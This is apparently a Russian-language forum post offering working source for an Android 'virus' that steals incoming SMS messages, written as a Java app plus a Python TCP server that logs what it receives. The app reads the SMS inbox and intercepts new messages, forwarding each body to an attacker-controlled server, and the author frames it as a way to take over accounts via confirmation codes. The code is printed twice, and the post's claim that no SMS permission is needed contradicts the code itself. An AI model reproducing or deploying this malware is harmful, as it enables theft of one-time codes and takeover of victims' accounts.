Вирус кражи SMS на Adnroid - Описание проблемы, Пример проекта

Всем привет

Сегодня хотел бы поговорить о простом, но опасном вирусе для Android, который, при правильном использовании,
может быть использован для кражи поступающих SMS. Напишу простой пример и подробно расскажу о нем.

Почему это опасно? -

Большинство сервисов привязаны к номеру телефона, а коды подтверждения отправляются по SMS.
Это может быть любой сервис, и всё, что нужно для того, чтобы украсть аккаунт, это одно SMS с кодом подтверждения.

Как реализовать? -

Код буду писать на Java (специально для Android) в среде Android Studio. Отправка будет производиться на сервер по TCP,
а сервер будет написан на Python, ибо это не принципиально.

public class MainActivity extends AppCompatActivity {

private static final int REQUEST_READ_SMS_PERMISSION = 3004;
private static final String SMS_URI = "content://sms/inbox";
private static final String SERVER_IP = ""; // IP адрес сервера
private static final int PORT = ; // Порт сервера
private static final String TAG = "MainActivity";
private SMSReceiver smsReceiver;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS}, REQUEST_READ_SMS_PERMISSION);
} else {
listenForServerRequests();
registerSMSReceiver();
}
}

@Override
protected void onDestroy() {
super.onDestroy();
unregisterSMSReceiver();
}

@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
listenForServerRequests();
registerSMSReceiver();
}
}

private void listenForServerRequests() {
new Thread(() -> {
while (true) {
try (Socket socket = new Socket(SERVER_IP, PORT);
PrintWriter out = new PrintWriter(socket.getOutputStream(), true);
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()))) {


while (true) {

Thread.sleep(1000);

String newSms = readNewSms();
if (newSms != null && !newSms.isEmpty()) {
out.println(newSms);
}
}
} catch (IOException | InterruptedException e) {
e.printStackTrace();

try {
Thread.sleep(5000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}
}
}).start();
}

private String readNewSms() {
Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC LIMIT 1");
String smsData = null;

if (cursor != null && cursor.moveToFirst()) {
String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
smsData = body;
cursor.close();
}

return smsData;
}

private void registerSMSReceiver() {
smsReceiver = new SMSReceiver();
IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
registerReceiver(smsReceiver, intentFilter);
}

private void unregisterSMSReceiver() {
if (smsReceiver != null) {
unregisterReceiver(smsReceiver);
smsReceiver = null;
}
}

private class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
if (pdus != null) {
for (Object pdu : pdus) {
String format = bundle.getString("format");
android.telephony.SmsMessage smsMessage = android.telephony.SmsMessage.createFromPdu((byte[]) pdu, format);
String sender = smsMessage.getDisplayOriginatingAddress();
String messageBody = smsMessage.getMessageBody();
Log.d(TAG, "Received SMS from: " + sender + ", message: " + messageBody);

// Отправить смс на сервер
new Thread(() -> {
try (Socket socket = new Socket(SERVER_IP, PORT);
PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
out.println(messageBody);
} catch (IOException e) {
e.printStackTrace();
}
}).start();
}
}
}
}
}
}

Код

public class MainActivity extends AppCompatActivity {



    private static final int REQUEST_READ_SMS_PERMISSION = 3004;

    private static final String SMS_URI = "content://sms/inbox";

    private static final String SERVER_IP = ""; // IP адрес сервера

    private static final int PORT = ; // Порт сервера

    private static final String TAG = "MainActivity";

    private SMSReceiver smsReceiver;



    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);



        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED) {

            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS}, REQUEST_READ_SMS_PERMISSION);

        } else {

            listenForServerRequests();

            registerSMSReceiver();

        }

    }



    @Override

    protected void onDestroy() {

        super.onDestroy();

        unregisterSMSReceiver();

    }



    @Override

    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {

        super.onRequestPermissionsResult(requestCode, permissions, grantResults);

        if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

            listenForServerRequests();

            registerSMSReceiver();

        }

    }



    private void listenForServerRequests() {

        new Thread(() -> {

            while (true) {

                try (Socket socket = new Socket(SERVER_IP, PORT);

                     PrintWriter out = new PrintWriter(socket.getOutputStream(), true);

                     BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()))) {





                    while (true) {



                        Thread.sleep(1000);



                        String newSms = readNewSms();

                        if (newSms != null && !newSms.isEmpty()) {

                            out.println(newSms);

                        }

                    }

                } catch (IOException | InterruptedException e) {

                    e.printStackTrace();



                    try {

                        Thread.sleep(5000);

                    } catch (InterruptedException ex) {

                        ex.printStackTrace();

                    }

                }

            }

        }).start();

    }



    private String readNewSms() {

        Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC LIMIT 1");

        String smsData = null;



        if (cursor != null && cursor.moveToFirst()) {

            String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));

            smsData = body;

            cursor.close();

        }



        return smsData;

    }



    private void registerSMSReceiver() {

        smsReceiver = new SMSReceiver();

        IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");

        registerReceiver(smsReceiver, intentFilter);

    }



    private void unregisterSMSReceiver() {

        if (smsReceiver != null) {

            unregisterReceiver(smsReceiver);

            smsReceiver = null;

        }

    }



    private class SMSReceiver extends BroadcastReceiver {

        @Override

        public void onReceive(Context context, Intent intent) {

            Bundle bundle = intent.getExtras();

            if (bundle != null) {

                Object[] pdus = (Object[]) bundle.get("pdus");

                if (pdus != null) {

                    for (Object pdu : pdus) {

                        String format = bundle.getString("format");

                        android.telephony.SmsMessage smsMessage = android.telephony.SmsMessage.createFromPdu((byte[]) pdu, format);

                        String sender = smsMessage.getDisplayOriginatingAddress();

                        String messageBody = smsMessage.getMessageBody();

                        Log.d(TAG, "Received SMS from: " + sender + ", message: " + messageBody);



                        // Отправить смс на сервер

                        new Thread(() -> {

                            try (Socket socket = new Socket(SERVER_IP, PORT);

                                 PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {

                                out.println(messageBody);

                            } catch (IOException e) {

                                e.printStackTrace();

                            }

                        }).start();

                    }

                }

            }

        }

    }

}

Коду не нужно разрешение на доступ к смс

import socket
import os

HOST = '0.0.0.0'
PORT = 48540

received_messages = set()
received_clients = set()


def log_sms(message):
with open("sms_log.txt", "a") as file:
file.write(message + "\n")

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()

print("Listening for connections...")
while True:
conn, addr = s.accept()
print("Connected by", addr)
received_clients.add(conn)

data = conn.recv(1024)
if not data:
break
message = data.decode()
if message not in received_messages:
print("Received data:", message)
received_messages.add(message)


log_sms(message)


for client in received_clients:
client.sendall(data)


with open("server_log.txt", "a") as file:
file.write(f"Received data: {data}\n")

Python

import socket

import os



HOST = '0.0.0.0' 

PORT = 48540       



received_messages = set() 

received_clients = set()   





def log_sms(message):

    with open("sms_log.txt", "a") as file:

        file.write(message + "\n")



with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

    s.bind((HOST, PORT))

    s.listen()



    print("Listening for connections...")

    while True:

        conn, addr = s.accept()

        print("Connected by", addr)

        received_clients.add(conn)



        data = conn.recv(1024)

        if not data:

            break

        message = data.decode()

        if message not in received_messages:

            print("Received data:", message)

            received_messages.add(message) 



 

            log_sms(message)



            

            for client in received_clients:

                client.sendall(data)





        with open("server_log.txt", "a") as file:

            file.write(f"Received data: {data}\n")

Код сервера принимающего SMS по TCP с клиента


Спасибо за прочтение статьи, задавайте вопросы пишите личные буду рад всем.